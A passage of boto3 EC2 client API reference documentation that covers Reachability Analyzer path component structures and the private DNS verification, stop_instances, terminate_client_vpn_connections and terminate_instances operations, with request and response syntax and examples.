_(dict) --_ + + Describes a path component. + + * **SequenceNumber** _(integer) --_ + + The sequence number. + + * **AclRule** _(dict) --_ + + The network ACL rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Egress** _(boolean) --_ + + Indicates whether the rule is an outbound rule. + + * **PortRange** _(dict) --_ + + The range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **RuleAction** _(string) --_ + + Indicates whether to allow or deny traffic that matches the rule. + + * **RuleNumber** _(integer) --_ + + The rule number. + + * **Component** _(dict) --_ + + The component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **DestinationVpc** _(dict) --_ + + The destination VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **OutboundHeader** _(dict) --_ + + The outbound header. + + * **DestinationAddresses** _(list) --_ + + The destination addresses. + + * _(string) --_ + * **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **SourceAddresses** _(list) --_ + + The source addresses. + + * _(string) --_ + * **SourcePortRanges** _(list) --_ + + The source port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **InboundHeader** _(dict) --_ + + The inbound header. + + * **DestinationAddresses** _(list) --_ + + The destination addresses. + + * _(string) --_ + * **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **SourceAddresses** _(list) --_ + + The source addresses. + + * _(string) --_ + * **SourcePortRanges** _(list) --_ + + The source port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **RouteTableRoute** _(dict) --_ + + The route table route. + + * **DestinationCidr** _(string) --_ + + The destination IPv4 address, in CIDR notation. + + * **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of an egress-only internet gateway. + + * **GatewayId** _(string) --_ + + The ID of the gateway, such as an internet gateway or virtual private gateway. + + * **InstanceId** _(string) --_ + + The ID of the instance, such as a NAT instance. + + * **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of a network interface. + + * **Origin** _(string) --_ + + Describes how the route was created. The following are possible values: + + * CreateRouteTable - The route was automatically created when the route table was created. + * CreateRoute - The route was manually added to the route table. + * EnableVgwRoutePropagation - The route was propagated by route propagation. + * **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + * **SecurityGroupRule** _(dict) --_ + + The security group rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Direction** _(string) --_ + + The direction. The following are possible values: + + * egress + * ingress + * **SecurityGroupId** _(string) --_ + + The security group ID. + + * **PortRange** _(dict) --_ + + The port range. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **PrefixListId** _(string) --_ + + The prefix list ID. + + * **Protocol** _(string) --_ + + The protocol name. + + * **SourceVpc** _(dict) --_ + + The source VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Subnet** _(dict) --_ + + The subnet. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Vpc** _(dict) --_ + + The component VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **ReturnPathComponents** _(list) --_ + + The components in the path from destination to source. + + * _(dict) --_ + + Describes a path component. + + * **SequenceNumber** _(integer) --_ + + The sequence number. + + * **AclRule** _(dict) --_ + + The network ACL rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Egress** _(boolean) --_ + + Indicates whether the rule is an outbound rule. + + * **PortRange** _(dict) --_ + + The range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **RuleAction** _(string) --_ + + Indicates whether to allow or deny traffic that matches the rule. + + * **RuleNumber** _(integer) --_ + + The rule number. + + * **Component** _(dict) --_ + + The component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **DestinationVpc** _(dict) --_ + + The destination VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **OutboundHeader** _(dict) --_ + + The outbound header. + + * **DestinationAddresses** _(list) --_ + + The destination addresses. + + * _(string) --_ + * **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **SourceAddresses** _(list) --_ + + The source addresses. + + * _(string) --_ + * **SourcePortRanges** _(list) --_ + + The source port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **InboundHeader** _(dict) --_ + + The inbound header. + + * **DestinationAddresses** _(list) --_ + + The destination addresses. + + * _(string) --_ + * **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **SourceAddresses** _(list) --_ + + The source addresses. + + * _(string) --_ + * **SourcePortRanges** _(list) --_ + + The source port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **RouteTableRoute** _(dict) --_ + + The route table route. + + * **DestinationCidr** _(string) --_ + + The destination IPv4 address, in CIDR notation. + + * **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of an egress-only internet gateway. + + * **GatewayId** _(string) --_ + + The ID of the gateway, such as an internet gateway or virtual private gateway. + + * **InstanceId** _(string) --_ + + The ID of the instance, such as a NAT instance. + + * **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of a network interface. + + * **Origin** _(string) --_ + + Describes how the route was created. The following are possible values: + + * CreateRouteTable - The route was automatically created when the route table was created. + * CreateRoute - The route was manually added to the route table. + * EnableVgwRoutePropagation - The route was propagated by route propagation. + * **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + * **SecurityGroupRule** _(dict) --_ + + The security group rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Direction** _(string) --_ + + The direction. The following are possible values: + + * egress + * ingress + * **SecurityGroupId** _(string) --_ + + The security group ID. + + * **PortRange** _(dict) --_ + + The port range. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **PrefixListId** _(string) --_ + + The prefix list ID. + + * **Protocol** _(string) --_ + + The protocol name. + + * **SourceVpc** _(dict) --_ + + The source VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Subnet** _(dict) --_ + + The subnet. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Vpc** _(dict) --_ + + The component VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Explanations** _(list) --_ + + The explanations. For more information, see [Reachability Analyzer explanation codes](https://docs.aws.amazon.com/vpc/latest/reachability/explanation-codes.html) . + + * _(dict) --_ + + Describes an explanation code for an unreachable path. For more information, see [Reachability Analyzer explanation codes](https://docs.aws.amazon.com/vpc/latest/reachability/explanation-codes.html) . + + * **Acl** _(dict) --_ + + The network ACL. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **AclRule** _(dict) --_ + + The network ACL rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Egress** _(boolean) --_ + + Indicates whether the rule is an outbound rule. + + * **PortRange** _(dict) --_ + + The range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **RuleAction** _(string) --_ + + Indicates whether to allow or deny traffic that matches the rule. + + * **RuleNumber** _(integer) --_ + + The rule number. + + * **Address** _(string) --_ + + The IPv4 address, in CIDR notation. + + * **Addresses** _(list) --_ + + The IPv4 addresses, in CIDR notation. + + * _(string) --_ + * **AttachedTo** _(dict) --_ + + The resource to which the component is attached. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **AvailabilityZones** _(list) --_ + + The Availability Zones. + + * _(string) --_ + * **Cidrs** _(list) --_ + + The CIDR ranges. + + * _(string) --_ + * **Component** _(dict) --_ + + The component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **CustomerGateway** _(dict) --_ + + The customer gateway. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Destination** _(dict) --_ + + The destination. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **DestinationVpc** _(dict) --_ + + The destination VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Direction** _(string) --_ + + The direction. The following are possible values: + + * egress + * ingress + * **ExplanationCode** _(string) --_ + + The explanation code. + + * **IngressRouteTable** _(dict) --_ + + The route table. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **InternetGateway** _(dict) --_ + + The internet gateway. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **LoadBalancerArn** _(string) --_ + + The Amazon Resource Name (ARN) of the load balancer. + + * **ClassicLoadBalancerListener** _(dict) --_ + + The listener for a Classic Load Balancer. + + * **LoadBalancerPort** _(integer) --_ + + The port on which the load balancer is listening. + + * **InstancePort** _(integer) --_ + + \[Classic Load Balancers\] The back-end port for the listener. + + * **LoadBalancerListenerPort** _(integer) --_ + + The listener port of the load balancer. + + * **LoadBalancerTarget** _(dict) --_ + + The target. + + * **Address** _(string) --_ + + The IP address. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **Instance** _(dict) --_ + + Information about the instance. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Port** _(integer) --_ + + The port on which the target is listening. + + * **LoadBalancerTargetGroup** _(dict) --_ + + The target group. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **LoadBalancerTargetGroups** _(list) --_ + + The target groups. + + * _(dict) --_ + + Describes a path component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **LoadBalancerTargetPort** _(integer) --_ + + The target port. + + * **ElasticLoadBalancerListener** _(dict) --_ + + The load balancer listener. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **MissingComponent** _(string) --_ + + The missing component. + + * **NatGateway** _(dict) --_ + + The NAT gateway. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **NetworkInterface** _(dict) --_ + + The network interface. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **PacketField** _(string) --_ + + The packet field. + + * **VpcPeeringConnection** _(dict) --_ + + The VPC peering connection. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Port** _(integer) --_ + + The port. + + * **PortRanges** _(list) --_ + + The port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **PrefixList** _(dict) --_ + + The prefix list. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Protocols** _(list) --_ + + The protocols. + + * _(string) --_ + * **RouteTableRoute** _(dict) --_ + + The route table route. + + * **DestinationCidr** _(string) --_ + + The destination IPv4 address, in CIDR notation. + + * **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of an egress-only internet gateway. + + * **GatewayId** _(string) --_ + + The ID of the gateway, such as an internet gateway or virtual private gateway. + + * **InstanceId** _(string) --_ + + The ID of the instance, such as a NAT instance. + + * **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of a network interface. + + * **Origin** _(string) --_ + + Describes how the route was created. The following are possible values: + + * CreateRouteTable - The route was automatically created when the route table was created. + * CreateRoute - The route was manually added to the route table. + * EnableVgwRoutePropagation - The route was propagated by route propagation. + * **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + * **RouteTable** _(dict) --_ + + The route table. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **SecurityGroup** _(dict) --_ + + The security group. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **SecurityGroupRule** _(dict) --_ + + The security group rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Direction** _(string) --_ + + The direction. The following are possible values: + + * egress + * ingress + * **SecurityGroupId** _(string) --_ + + The security group ID. + + * **PortRange** _(dict) --_ + + The port range. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **PrefixListId** _(string) --_ + + The prefix list ID. + + * **Protocol** _(string) --_ + + The protocol name. + + * **SecurityGroups** _(list) --_ + + The security groups. + + * _(dict) --_ + + Describes a path component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **SourceVpc** _(dict) --_ + + The source VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **State** _(string) --_ + + The state. + + * **Subnet** _(dict) --_ + + The subnet. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **SubnetRouteTable** _(dict) --_ + + The route table for the subnet. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Vpc** _(dict) --_ + + The component VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **VpcEndpoint** _(dict) --_ + + The VPC endpoint. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **VpnConnection** _(dict) --_ + + The VPN connection. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **VpnGateway** _(dict) --_ + + The VPN gateway. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **AlternatePathHints** _(list) --_ + + Potential intermediate components. + + * _(dict) --_ + + Describes an potential intermediate component of a feasible path. + + * **ComponentId** _(string) --_ + + The ID of the component. + + * **ComponentArn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Tags** _(list) --_ + + The tags. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +start\_vpc\_endpoint\_service\_private\_dns\_verification(_\*\*kwargs_)to this definition") + +Initiates the verification process to prove that the service provider owns the private DNS name domain for the endpoint service. + +The service provider must successfully perform the verification before the consumer can use the name to access the service. + +Before the service provider runs this command, they must add a record to the DNS server. For more information, see [Adding a TXT Record to Your Domain's DNS Server](https://docs.aws.amazon.com/vpc/latest/userguide/endpoint-services-dns-validation.html#add-dns-txt-record) in the _Amazon VPC User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartVpcEndpointServicePrivateDnsVerification) + +**Request Syntax** + +response \= client.start\_vpc\_endpoint\_service\_private\_dns\_verification( + DryRun\=True|False, + ServiceId\='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ServiceId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the endpoint service. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReturnValue': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **ReturnValue** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +stop\_instances(_\*\*kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response \= client.stop\_instances( + InstanceIds\=\[ + 'string', + \], + Hibernate\=True|False, + DryRun\=True|False, + Force\=True|False +) + +Parameters + +* **InstanceIds** (_list_) -- + + **\[REQUIRED\]** + + The IDs of the instances. + + * _(string) --_ +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': \[ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + \] +} + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +**Examples** + +This example stops the specified EC2 instance. + +response \= client.stop\_instances( + InstanceIds\=\[ + 'i-1234567890abcdef0', + \], +) + +print(response) + +Expected Output: + +{ + 'StoppingInstances': \[ + { + 'CurrentState': { + 'Code': 64, + 'Name': 'stopping', + }, + 'InstanceId': 'i-1234567890abcdef0', + 'PreviousState': { + 'Code': 16, + 'Name': 'running', + }, + }, + \], + 'ResponseMetadata': { + '...': '...', + }, +} + +terminate\_client\_vpn\_connections(_\*\*kwargs_) + +Terminates active Client VPN endpoint connections. This action can be used to terminate a specific client connection, or up to five connections established by a specific user. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateClientVpnConnections) + +**Request Syntax** + +response \= client.terminate\_client\_vpn\_connections( + ClientVpnEndpointId\='string', + ConnectionId\='string', + Username\='string', + DryRun\=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the Client VPN endpoint to which the client is connected. + +* **ConnectionId** (_string_) -- The ID of the client connection to be terminated. +* **Username** (_string_) -- The name of the user who initiated the connection. Use this option to terminate all active connections for the specified user. This option can only be used if the user has established up to five connections. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientVpnEndpointId': 'string', + 'Username': 'string', + 'ConnectionStatuses': \[ + { + 'ConnectionId': 'string', + 'PreviousStatus': { + 'Code': 'active'|'failed-to-terminate'|'terminating'|'terminated', + 'Message': 'string' + }, + 'CurrentStatus': { + 'Code': 'active'|'failed-to-terminate'|'terminating'|'terminated', + 'Message': 'string' + } + }, + \] +} + +**Response Structure** + +* _(dict) --_ + + * **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint. + + * **Username** _(string) --_ + + The user who established the terminated client connections. + + * **ConnectionStatuses** _(list) --_ + + The current state of the client connections. + + * _(dict) --_ + + Information about a terminated Client VPN endpoint client connection. + + * **ConnectionId** _(string) --_ + + The ID of the client connection. + + * **PreviousStatus** _(dict) --_ + + The state of the client connection. + + * **Code** _(string) --_ + + The state of the client connection. + + * **Message** _(string) --_ + + A message about the status of the client connection, if applicable. + + * **CurrentStatus** _(dict) --_ + + A message about the status of the client connection, if applicable. + + * **Code** _(string) --_ + + The state of the client connection. + + * **Message** _(string) --_ + + A message about the status of the client connection, if applicable. + + +terminate\_instances(_\*\*kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response \= client.terminate\_instances( + InstanceIds\=\[ + 'string', + \], + DryRun\=True|False +) + +Parameters + +* **InstanceIds** (_list_) -- + + **\[REQUIRED\]** + + The IDs of the instances. + + Constraints: Up to 1000 instance IDs. We recommend breaking up this request into smaller batches. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': \[ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + \] +} + +**Response Structure** + +* _(dict) --_ + + * **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +**Examples** + +This example terminates the specified EC2 instance. + +response \= client.terminate\_instances( + InstanceIds\=\[ + 'i-1234567890abcdef0', + \], +) + +print(response) 